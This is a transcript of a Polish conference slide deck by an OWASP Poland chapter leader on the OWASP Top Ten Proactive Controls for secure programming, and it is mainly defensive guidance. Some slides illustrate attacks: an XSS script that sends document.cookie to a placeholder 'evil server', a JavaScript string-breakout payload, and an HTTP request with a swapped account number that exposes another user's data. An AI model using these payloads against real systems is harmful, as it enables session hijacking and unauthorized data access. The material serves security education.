10 przykazań bezpiecznego programowania

54
10 przykazań bezpiecznego programowania OWASP Top Ten Proactive Controls Wojciech Dworakowski, SecuRing OWASP Poland Chapter Leader

Transcript of 10 przykazań bezpiecznego programowania

Page 1: 10 przykazań bezpiecznego programowania

10 przykazań bezpiecznego programowaniaOWASP Top Ten Proactive Controls

Wojciech Dworakowski, SecuRing

OWASP Poland Chapter Leader

Page 2: 10 przykazań bezpiecznego programowania

Wojtek Dworakowski@wojdwo

CEO (od 2003)

Testowanie i doradztwo w zakresie bezpieczeństwa aplikacji i systemów IT

OWASP Poland

Chapter Leader (od 2011)

Page 3: 10 przykazań bezpiecznego programowania

OWASPO = Open

• Materiały i narzędzia

– za darmo

– licencje Creative Commons

– open source

• Tworzone na zasadach otwartej współpracy

– każdy może przyłączyć się

3

Page 4: 10 przykazań bezpiecznego programowania

OWASP Poland Chapter

• Od 2007

• Spotkania: Kraków, Poznań, Warszawa

• Wstęp wolny

• Wspierają nas:

Page 5: 10 przykazań bezpiecznego programowania

Ankieta na 4Developers 2014** Badanie SecuRing „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014”

• 62% firm nie edukuje programistów w zakresie bezpieczeństwa aplikacji

• >50% firm nie uwzględnia bezpieczeństwa na etapie projektowania

• 73% pytanych potwierdziło, że wprowadzało poprawki wynikające z testów bezpieczeństwa

• Tylko 42% potwierdziło że przed wdrożeniem wykonują testy bezpieczeństwa

Page 6: 10 przykazań bezpiecznego programowania

OWASP Top10 Risk vs

OWASP Top10 Proactive Controls

Page 7: 10 przykazań bezpiecznego programowania

Disclaimer

• Nie można opierać bezpieczeństwa aplikacji tylko na podstawie Top 10

– To materiał edukacyjny

– Każda aplikacja ma swój specyficzny profil ryzyka

Page 8: 10 przykazań bezpiecznego programowania

1: Parameterize Queries

Page 9: 10 przykazań bezpiecznego programowania

SQL/LDAP/XML/cmd/…-injection

Łatwe do wykorzystania• proste w użyciu narzędzia automatyzujące atakZnaczne skutki ataku

Źródło: http://xkcd.com/327/

Page 10: 10 przykazań bezpiecznego programowania

Dobre praktyki

#1 Zapytania parametryzowane– Prepared Statements / Parametrized Queries

#2 Stored Procedures– Uwaga na wyjątki! (eval, blok dynamiczny, etc.)

#3 Escaping– ryzykowne!

String newName = request.getParameter("newName");String id = request.getParameter("id");PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");pstmt.setString(1, newName);pstmt.setString(2, id);

Page 11: 10 przykazań bezpiecznego programowania

Narzędzia i materiały

• Bobby Tables: A guide to preventing SQL injection

• Query Parameterization Cheat Sheet

• SQL Injection Prevention Cheat Sheet

• OWASP Secure Coding Practices Quick Reference Guide

Page 12: 10 przykazań bezpiecznego programowania

2: Encode Data

Page 13: 10 przykazań bezpiecznego programowania

XSS

• Zmiana treści strony

• Przechwycenie sesji

<script>document.body.innerHTML(“Jim was here”);</script>

<script>var img = new Image();img.src="http://<some evil server>.com?” + document.cookie;</script>

Page 14: 10 przykazań bezpiecznego programowania

Skutki braku kodowania znaków specjalnych

• Session hijacking

• Network scanning

• Obejście zabezpieczeń przed CSRF

• Zmiana zawartości strony (w przeglądarce)

• …

• Przejęcie kontroli nad przeglądarką

– vide BeEF

Page 15: 10 przykazań bezpiecznego programowania

Historia pewnej aplikacji

Page 16: 10 przykazań bezpiecznego programowania
Page 17: 10 przykazań bezpiecznego programowania
Page 18: 10 przykazań bezpiecznego programowania

Cross Site Scripting

Ale często wklejenie bezpośrednio w kontekst

javascript:

<script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script>

trn_recipient=';alert('xss');--

<script> var split='';alert('xss');--

Page 19: 10 przykazań bezpiecznego programowania

Dobre praktyki

• Kodowanie znaków specjalnych odpowiednie do kontekstu użycia– element HTML

– Atrybut HTML

– JavaScript

– JSON

– CSS / style

– URL

Page 21: 10 przykazań bezpiecznego programowania

3: Validate All Inputs

Page 22: 10 przykazań bezpiecznego programowania

Po co walidacja?

• Większość innych podatności (np. injection, xss, …) wynika (również) z braku walidacji

• Walidacja jest jak firewall

– Nie zabezpiecza przed wszystkim

– …ale dobrze ją mieć

Page 23: 10 przykazań bezpiecznego programowania

Dobre praktyki

• Walidacja wg whitelisty a nie blacklisty,

• Typowanie pól– najlepiej „systemowo” a nie per formularz.

– Porządkuje to bezpieczeństwo w wielu warstwach – np. potem łatwo można użyć do reguł WAF

• Walidacja pierwszą linią obrony– np. silne rzutowanie typów zapobiegnie injection,

– ale nie może być jedyną !

Page 24: 10 przykazań bezpiecznego programowania

Narzędzia i materiały

• Input Validation Cheat Sheet

• Apache Commons Validator

• OWASP JSON Sanitizer Project

• OWASP Java HTML Sanitizer Project

• Google Caja

Page 25: 10 przykazań bezpiecznego programowania

4: Implement AppropriateAccess Controls

Page 26: 10 przykazań bezpiecznego programowania

Historia rachunku

Page 27: 10 przykazań bezpiecznego programowania

Żądanie HTTP po przechwyceniu

GET /services/history/account/85101022350445200448009906 HTTP/1.1

SA-DeviceId: 940109f08ba56a89

SA-SessionId: 826175

Accept: application/json

Host: acc

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

GET /services/history/account/45101022350445200448005388 HTTP/1.1

SA-DeviceId: 940109f08ba56a89

SA-SessionId: 826175

Accept: application/json

Host: acc

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

Podmiana nr rachunku – uzyskujemy cudze dane

Page 28: 10 przykazań bezpiecznego programowania

Dobre praktyki

• Decyzja po stronie serwera !

• Default deny

• Wszystkie żądania muszą przejść przez kontrolę uprawnień– scentralizowany, spójny mechanizm

• Zasady kontroli dostępu (policy) osobne od kodu– a nie jako część kodu

Page 29: 10 przykazań bezpiecznego programowania

if (currentUser.hasRole(“administrator”)) {//pozwol

} else {//zabron

}

If (currentUser.isPermitted(printPermission)) {//pozwol

} else {//zabron

}

Page 30: 10 przykazań bezpiecznego programowania

Narzędzia i materiały

• Access Control Cheat Sheet

• Java Authorization Guide with Apache Shiro

– Apache Shiro Authorization features

• OWASP PHPRBAC Project

Page 31: 10 przykazań bezpiecznego programowania

5: Establish Identity and Authentication Controls

Page 32: 10 przykazań bezpiecznego programowania

Przykład defektu

• Uwierzytelnienie kluczem lokalnie trzymanym na komputerze

• Proces logowania:

1. podajemy login

2. wybieramy plik z kluczem, wprowadzamy hasło do klucza

3. jesteśmy zalogowani

https://...../GenerateNewKey

Page 33: 10 przykazań bezpiecznego programowania

Dobre praktyki

• Sprawdź prawa dostępu do funkcji pozwalających na zmianę danych uwierzytelniających

• Zasada „łańcucha zaufania”

• Uwaga na sesyjność „na granicy” !

• Nie limituj długości i znaków które można użyć w haśle

Page 34: 10 przykazań bezpiecznego programowania

Narzędzia i materiały

• Authentication Cheat Sheet

• Password Storage Cheat Sheet

• Forgot Password Cheat Sheet

• Session Management Cheat Sheet

Page 35: 10 przykazań bezpiecznego programowania

6: Protect Data and Privacyat transitat rest

Page 36: 10 przykazań bezpiecznego programowania

Przykład defektu (at transit)

• SSL zapewnia szyfrowanie i autentyczność

• Co weryfikuje autentyczność serwera?

– Aplikacje przeglądarkowe: Przeglądarka

– Aplikacje mobilne / thick-client / embedded…: Aplikacja

• Najczęstsze błędy

– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”

– Brak obsługi wyjątku

Page 37: 10 przykazań bezpiecznego programowania

Dobre praktyki (in transit)

• TLS

• Dla całości aplikacji

• Cookies: flaga „Secure”

• HTTP Strict Transport Security

• Zestawy silnych szyfrów

• Chain of trust

• Certificate pinning

Page 38: 10 przykazań bezpiecznego programowania

Narzędzia i materiały (in transit)

• Transport Layer Protection Cheat Sheet

• Pinning Cheat Sheet

• OWASP O-Saft (SSL Audit for Testers)

Page 39: 10 przykazań bezpiecznego programowania

Przykład defektu (at rest)

• Przechowywanie haseł

• „Własna” implementacja SHA1

public static String encrypt(byte [] in){

String out = "";for(int i = 0; i < in.length; i++){

byte b = (byte)(in[i] ^ key[i%key.length]);out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f];

} return out;}

Page 40: 10 przykazań bezpiecznego programowania

Dobre praktyki (at rest)

• Nie próbuj wynaleźć koła !– Własne szfry są ZŁE

– Własna implementacja crypto jest ZŁA

– Sprawdzone biblioteki

• Silne szyfry w silnych trybach– ECB jest ZŁE

– CBC – uwaga na „padding oracle”

• Dobre źródło losowości dla IV

Page 41: 10 przykazań bezpiecznego programowania

Narzędzia i materiały

• Google KeyCzar

• Cryptographic Storage Cheat Sheet

• Password Storage Cheat Sheet

Page 42: 10 przykazań bezpiecznego programowania

7: Implement Logging, Error Handling and Intrusion Detection

Page 43: 10 przykazań bezpiecznego programowania

Narzędzia i materiały

• Logging Cheat Sheet

• OWASP AppSensor Project

Page 44: 10 przykazań bezpiecznego programowania

8: Leverage Security Features of Frameworks and Security Libraries

Page 45: 10 przykazań bezpiecznego programowania

Narzędzia i materiały

• PHP Security Cheat Sheet

• .NET Security Cheat Sheet

• Spring Security

• Apache Shiro

• OWASP Dependency Check / Track

Page 46: 10 przykazań bezpiecznego programowania

9: Include Security-SpecificRequirements

Page 47: 10 przykazań bezpiecznego programowania

Definiowanie wymagań

• Scenariusze ataku

– Jak zagrożenia mogą osiągnąć cele?

– Wymaga doświadczenia i wiedzy eksperckiej

• Dobranie zabezpieczeń == WYMAGANIA

Zagrożenia SkutkiScenariusze

ataku

Kto? Jak? Co?

Page 48: 10 przykazań bezpiecznego programowania

Narzędzia i materiały

• OWASP Application Security Verification Standard Project

• Software Assurance Maturity Model

• Business Logic Security Cheat Sheet

• Testing for business logic (OWASP-BL-001)

Page 49: 10 przykazań bezpiecznego programowania

10: Design and Architect Security In

Page 50: 10 przykazań bezpiecznego programowania

Narzędzia i materiały

• Software Assurance Maturity Model (OpenSAMM)

• Application Security Verification Standard Project

• Application Security Architecture Cheat Sheet

• Attack Surface Analysis Cheat Sheet

• Threat Modeling Cheat Sheet

Page 51: 10 przykazań bezpiecznego programowania

Podsumowanie

Page 52: 10 przykazań bezpiecznego programowania

To tylko Top Ten !

• Każda aplikacja jest inna

– Trzeba zdefiniować profil ryzyka (KTO?, PO CO?)

– i uwzględnić „zgodność z przepisami”

• Kilka prostych kroków daje duże efekty

• Warto edukować programistów w zakresie bezpieczeństwa

Page 53: 10 przykazań bezpiecznego programowania

Spotkania OWASP

https://www.owasp.org/index.php/PolandLista mailingowa

Facebook: OWASP Poland Local Chapter

Twitter: @owasppoland

Page 54: 10 przykazań bezpiecznego programowania

Dziękuję

Wojciech Dworakowski

@wojdwo

[email protected]

http://www.securing.pl